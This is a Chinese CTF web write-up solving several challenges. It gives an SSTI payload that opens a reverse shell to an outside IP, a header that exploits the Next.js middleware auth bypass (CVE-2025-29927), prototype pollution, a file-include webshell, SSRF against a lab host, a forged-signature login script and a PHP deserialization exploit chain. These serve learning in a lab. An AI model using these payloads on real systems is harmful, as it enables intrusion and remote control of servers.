web

星愿信箱

进去是个输入框,fuzz一下,过滤了{{ }}__import__等字符,在网上找一个{% %}的payload,稍微改改就行,这里无回显,于是弹shell

payload:

{%set x=().__class__.__base__.__subclasses__()[N].__init__.__globals__['sys'].modules['os'].system('bash -c \"bash -i >& /dev/tcp/1.94.60.237/2333 0>&1\"') %}

nest_js

尝试以admin为账户去爆破密码,没爆出来,注意到是Next.js框架,去找一下有没有cve可打

去找一下cve,找到个鉴权绕过的洞:Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) https://blog.csdn.net/Dalock/article/details/146492231

带上x-middleware-subrequest即可绕过鉴权

payload:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

多重宇宙日记

题目描述到ez原型链,这里用到了node.js,去找一下node.js简单的原型链污染,其实就是利用__proto__

利用给出来的更新设置按钮,抓个包看看:

payload:

{
  "settings": {
    "__proto__": {
      "isAdmin": true
    }
  }
}

发完后多了个管理员面板,点进去就是flag

easy_file

进去是个登录页,注意到输入usernamepassword并点击登录按钮之后会被base64加密后再传进去,bp爆破的时候开base64加密即可正常爆破

解码后结果:

username:admin
password:password

进到一个上传页,fuzz了一下只能上.jpg.txt,结合前面页面里的注释,想到file可能是文件包含

尝试file,发现url/?file=文件名可以读取文件,用的是include,但是语句包含php的话会不执行

上传个塞了🐎的ma1.txt文件,然后用file包含这个文件,就可以用shell了

*easy_signin

进去就是403,dirsearch扫一下目录,发现存在login.htmllogin.php,直接访问不到login.html于是先看html里的内容

html的源码里暴露了登录逻辑:

 const loginBtn = document.getElementById('loginBtn');
        const passwordInput = document.getElementById('password');
        const errorTip = document.getElementById('errorTip');
        const rawUsername = document.getElementById('username').value; 

     
        loginBtn.addEventListener('click', async () => {
            const rawPassword = passwordInput.value.trim();
            if (!rawPassword) {
                errorTip.textContent = '请输入密码';
                errorTip.classList.add('show');
                passwordInput.focus();
                return;
            }

            const md5Username = CryptoJS.MD5(rawUsername).toString();   
            const md5Password = CryptoJS.MD5(rawPassword).toString();   

     
            const shortMd5User = md5Username.slice(0, 6);  
            const shortMd5Pass = md5Password.slice(0, 6);  

          
            const timestamp = Date.now().toString(); //五分钟

       
            const secretKey = 'easy_signin';  
            const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();

            try {
                const response = await fetch('login.php', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                        'X-Sign': sign  
                    },
                    body: new URLSearchParams({
                        username: md5Username,   
                        password: md5Password,   
                        timestamp: timestamp
                    })
                });

                const result = await response.json();
                if (result.code === 200) {
                    alert('登录成功!');
                    window.location.href = 'dashboard.php'; 
                } else {
                    errorTip.textContent = result.msg;
                    errorTip.classList.add('show');
                    passwordInput.value = '';
                    passwordInput.focus();
                    setTimeout(() => errorTip.classList.remove('show'), 3000);
                }
            } catch (error) {
                errorTip.textContent = '网络请求失败';
                errorTip.classList.add('show');
                setTimeout(() => errorTip.classList.remove('show'), 3000);
            }
        });

        passwordInput.addEventListener('input', () => {
            errorTip.classList.remove('show');
        });
  • 对用户名和密码进行MD5哈希,截取前6位。
  • 生成时间戳,用固定密钥easy_signin拼接参数生成签名sign
  • 发送POST请求到login.php,携带哈希后的用户名、密码、时间戳及签名。

能试出来用户名:是admin的时候会回显密码错误,如果是别的用户名会回显账号错误

可以去用bp爆密码,随便抓一个时间戳就行,会响应403:

得到账号密码:

username:admin
password:admin123

用脚本生成一个请求头和post传参内容:

import hashlib
import time


def debug_login_data(password):
    username = "admin"
    secret_key = "easy_signin"

    # 计算完整MD5
    md5_user = hashlib.md5(username.encode()).hexdigest()
    md5_pass = hashlib.md5(password.encode()).hexdigest()

    # 打印关键中间值
    print(f"Username MD5: {md5_user}")
    print(f"Password MD5: {md5_pass}")

    short_user = md5_user[:6]
    short_pass = md5_pass[:6]
    print(f"Short username: {short_user}")
    print(f"Short password: {short_pass}")

    timestamp = str(int(time.time() * 1000))
    print(f"Timestamp: {timestamp}")

    # 构造签名原始字符串
    sign_str = short_user + short_pass + timestamp + secret_key
    print(f"Signature raw string: {sign_str}")

    # 计算最终签名
    sign = hashlib.md5(sign_str.encode()).hexdigest()
    print(f"Final signature: {sign}")

    return {
        "headers": {"X-Sign": sign},
        "data": {
            "username": md5_user,
            "password": md5_pass,
            "timestamp": timestamp
        }
    }


if __name__ == "__main__":
    password = input("Enter password: ").strip()
    result = debug_login_data(password)

    print("\n 完整请求数据:")

    # POST 数据转为标准参数格式
    from urllib.parse import urlencode

    post_params = urlencode(result['data'])
    print(f"POST数据: {post_params}")

    # 请求头转为标准头格式
    headers = "\n".join([f"{k}: {v}" for k, v in result['headers'].items()])
    print(f"请求头:\n{headers}")

我这里生成的是:

POST数据: username=21232f297a57a5a743894a0e4a801fc3&password=0192023a7bbd73250516f069df18b500&timestamp=1748260280140
请求头:
X-Sign: b1ee2e46919de3eb8708a74152321998

带着头就能登陆上了,这样就能去访问题目描述里的dashboard.php

进去给了路径/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php

直接访问会提示:非本地用户

比赛时在这里卡住了,这里没注意到前面的一些信息,导致以为是要加请求头的达到“本地访问”

但其实前面login.html有一个信息点,直接访问这个api.js,会显示/api/sys/urlcode.php?url=

很明显打ssrf

http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php

拿到这个php的源码,绕一下waf可以写🐎

<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
    echo "waf!!";
    exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
    echo "waf";
    exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
    echo "waf!";
    exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
    echo("非本地用户");
}

?>

另解:

直接读取这个urlcode.php

http://node6.anna.nssctf.cn:23038/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php

源码里有个php

直接访问就能拿到flag

*君の名は

反序列化苦手,这里参考LitsasukTouHp师傅的文章进行复现学习

题目源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

目标是执行/readflag

链子:

Taki::__unserialize() -> Mitsuha::__invoke() -> KatawareDoki::__toString() -> Taki::__call() -> ReflectionFunction->invoke()

注意:这里不能有O,于是调用Arrayobject类来封装这样出来的序列化数据由C:开头

值得注意的点:

(new $args[0]($args[1]))->{$this->magic}();

这里实例化了一个类,然后调用这个类里的一个方法args[0]是类名,args[1]是参数

这个方法调用只有函数名是可控的,参数只能为空,可以尝试调用简单的phpinfo()等无参函数。

create_function("", 'die(`/readflag`);');

没在反序列化题目中见过的函数:create_function,这里用create_function创建了一个匿名函数并执行/readflag,调用这个匿名函数就能输出flag

关于匿名函数的函数名 可以跑一下php直接跑出来,我vscode输出的是�lambda_1,但实则是\000lambda_1,这里没显示

匿名函数的函数名是会改变的!在web页面中打开php文件,每刷新一次函数名的数字就会加一,\000lambda_1只是第一次访问题目环境时匿名函数的名字,所以最好是重新开启一个环境来提交payload

这里是Litsasuk师傅的exp

<?php
highlight_file(__FILE__);
error_reporting(0);
class Taki
{
    public $musubi;
    public $magic = "invoke";
}

class Mitsuha
{
    public $memory;
    public $thread;
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;                // 1.把对象当成函数调用,触发__invoke()
$b->thread = $c;                // 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a;                        // 3. 调用不存在的方法,触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

其实也可以直接bp爆破,拿着某个函数名如:\000lambda_1一直爆,总会出的

菜菜,捞捞
最后更新于 2025-05-26